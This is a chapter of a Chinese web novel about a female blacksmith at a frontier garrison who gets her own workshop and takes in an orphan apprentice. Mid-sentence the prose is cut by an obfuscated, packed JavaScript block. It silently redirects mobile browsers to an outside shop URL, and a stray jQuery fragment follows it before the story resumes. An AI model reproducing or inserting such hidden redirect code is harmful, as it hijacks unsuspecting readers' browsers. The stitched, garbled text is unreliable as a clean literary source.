几天后的一大早,孙六就来大工棚找宋云铮。
宋云铮正在工棚用一块磨刀石磨一把刚打好的旧匕首,听见孙六喊她抬头应了一声。孙六站在门口说"跟我走一趟",她放下匕首擦了手跟着出去了。
孙六带着她穿过校场走进器械营西侧的一片空棚子,指了指其中一间说:"韩帅批了,这间给你用。以后你在这儿干活,不用跟别人挤大工棚了。"他说完推开门让她看——棚子不大,但炉子铁砧工具架一应俱全,墙角还搭了个简易的木板床,上面有一套干净的床上用品,底下还铺了厚实的干草垫子。
宋云铮站在门口看了一圈,东西虽然简陋但样样齐全。她伸手摸了摸铁砧的台面,凉的,但她知道明早炉火烧起来之后这铁砧就会变得温热。那种温热她太熟悉了,熟悉到闭着眼都能感觉到。
"谢了。"她朝孙六点了下头。
孙六摆摆手走了。宋云铮当天傍晚就把自己用惯了的的打铁工具和那柄玄铁剑从大工棚搬进了这间独立棚子。她把玄铁剑靠墙角放好,又检查了一遍炉膛和风门,然后坐在简易的木板床沿上环顾了一圈这个属于她一个人的地方。
棚顶的木板缝里漏下一线夕阳的余晖,斜斜地照在铁砧台面上,把那块冰冷的铁板染成暖金色。
宋云铮坐在床沿看着那道金光慢慢变窄变淡,最后缩成一条线消失了。
天黑了。她没有回自己的单人房,而是躺在独立工棚的木板床上盖着薄被,听着外面风刮过棚顶的呼呼声。
周围的打铁声都不见了,这里太安静了,安静得宋云铮有点不习惯。
她把手伸到枕头底下摸了摸那个小布包,碎玉隔着布料的触感硬邦邦的,棱角硌着指腹。她摸了一会儿把手抽出来翻了个身面朝墙壁,闭着眼慢慢睡着了。
第二天宋云铮早早的就爬起来收拾她的独立工棚。
工棚的炉子比之原来大工棚里的更新更好烧,工具架子上挂满了各种尺寸的锤子和钳子。她站在工棚中央环顾了一圈,摸着光溜溜的铁砧台面,忽然生出一种踏实的感觉。
这是她的地方了。
炉火烧起来之后这就是她的个人天地,谁来也动不了。
她生火烧炉子,开始打第一批正式的兵器。
第一炉铁料放进去的时候她盯着火色看了一会儿。
火舌舔着铁料的边缘慢慢把整块铁烧透的过程跟她从前在青石镇看的一模一样——从黯红到橘红到亮白,每一步她都烂熟于心。她夹出铁料搁在铁砧上,抡起锤子砸了下去。
铛的一声在独立的小棚子里回荡着,比在大工棚里清亮多了。
从那之后她就有了自己的天地。
每天踏着晨光走进棚子点火,看着火焰从无到有从小到大把整间棚子烤暖,然后开始一天的活计。干累了就坐在木板床边歇口气,喝口水。
日子在叮叮当当的锤声里一天一天过去。
雪下了一阵又停了,停了又下。
宋云铮的工棚里始终亮着火,从早烧到晚,有时候夜里也不熄。
她打的东西越做越好,连校场上那些老兵都开始口口相传,说器械营那个新来的女匠人打出来的刀好使。
有些兵卒自己掏钱来找她打私活——短刀匕首之类的贴身家伙,宋云铮收少量工钱接了,一来二去在定北城的兵卒中攒出了些名声。
有人开始叫她"宋铁匠",有人叫她"宋师傅",叫什么的都有,她全应着。
有天夜里她正在工棚里擦一把刚打好的匕首,棚子的帘子忽然被人掀开了。一阵冷风卷进来,吹得炉火猛地晃了一下。她抬头看见门口站着一个小姑娘,十三四岁的样子,瘦得只剩一把骨头,身上穿着一件明显大了好几圈的旧棉袄,站在门口缩着肩膀怯生生地看着她。
宋云铮放下匕首,声音不自觉的比往常轻柔了几分:"你找谁?"
小姑娘往里头迈了一步,声音细得像蚊子哼:"我听说……听说这儿收学徒……"
宋云铮打量了她一遍。小姑娘的手上全是冻疮和干裂的口子,头发乱糟糟地攒成一团,脸冻得通红但眼神里头有一团亮光,跟她当年背着包袱站在定北城门底下时大概差不多。
"你叫什么?"
"阿苔。"小姑娘吸了吸鼻子,"我没地方去了……我爹娘前阵子被北狄人杀了,我逃出来的……"
宋云铮把修好的犁头搁在一边,站起来擦了擦手,看着她问:"你多大了?"
"十四。"阿苔答。
"从前打过铁吗?"
"没有。我爹是种地的。"
宋云铮蹲下来看着她,沉默了片刻,伸手指了指墙角堆的一堆废铁料:"先把那些边角料按大小分一分,分完了我教你生火。"
阿苔愣了一下,眼眶唰地就红了。她使劲点了点头,快步跑到墙角蹲下来开始分料子,瘦小的身子缩在炉火的余光里,两只冻疮累累的手抓着铁料一块一块往不同方向码。
宋云铮看着她蹲在墙角的背影,手里擦了半截的匕首搁在铁砧上。
炉膛里的火噼啪响了一声,火星溅出来落在了她围裙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834940|211396||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上又烧出个新洞。她没管。
那天夜里阿苔睡在了工棚角落里的一堆干草上,裹着一件宋云铮找来的旧棉袍。宋云铮坐在炉前守夜,一边磨一把刀一边听着身后小姑娘均匀的呼吸声。
她磨着磨着忽然停了手,低头看了看自己手里的刀——乌沉沉的刃口在火光里泛着冷白的光。她把刀举到眼前看了看,刀脊平直,刃口锋利,是一把好东西。
她放下刀,偏头看了看角落里睡着的阿苔,又看了看炉膛里跳动的火舌,然后收回目光继续磨刀。
磨刀石上沙沙沙的响声在安静的深夜里格外清晰,跟她从前在青石镇铁铺里夜里磨刀时的动静一模一样。
只是旁边再没有人嫌她吵了。
第二天宋云铮在食堂遇到了孙六,孙六让打饭的后面都给宋云铮两份饭食。
宋云铮只是冲孙六点了点头,一切尽在不言中。
傍晚,宋云铮在工棚里拉了个帘子,把木板床单独隔开出一方小天地来,仔细检查了下工棚的门,阿苔夜晚就在工棚里休息。
阿苔正式留了下来。
韩主帅第二次召她去的时候,北边边境刚打了一场小仗。
宋云铮被叫到议事厅的时候,厅里站了好几个将领,沙盘上插了密密麻麻的小旗,气氛肃杀。韩主帅站在沙盘前端着一盏茶,脸色不太好看,见她来了抬手示意她在旁边等着。
几个将领在议敌情,说什么北狄前锋换了新打法、弓骑兵的射程比以前远了、咱们的箭矢够不到人家的后排。韩主帅端着茶听了半晌,忽然转头看向宋云铮:"宋铁匠,你在旁边听着,有什么想法?"
宋云铮走到沙盘边看了看地形。沙盘上标着两军对垒的位置,中间隔着一片开阔地,大约三百步宽。宋云铮看完之后说:"咱们现在的箭矢配重偏前,射出去弧线大,有效射程最多两百五十步。如果能把配重往后调,箭身加长三分,箭镞改成三棱倒刺形,射程应该能再提五十步。"
韩主帅放下茶碗:"你能打?"
"能。给我三天。"
韩主帅看了她片刻,点了点头:"去干。"
宋云铮回工棚就烧了火。
她从仓库领了半车精铁料回来,阿苔在旁边给她打下手——拉风箱、递钳子、夹料子,瘦小的身子在炉火前一晃一晃的,干得气喘吁吁但一点没偷懒,只咬着牙埋头苦干。宋云铮把第一块铁料夹进炉膛的时候偏头看了她一眼:"累了就歇。"
阿苔摇头:"不累。"
宋云铮没再说什么,抡起锤子砸了下去。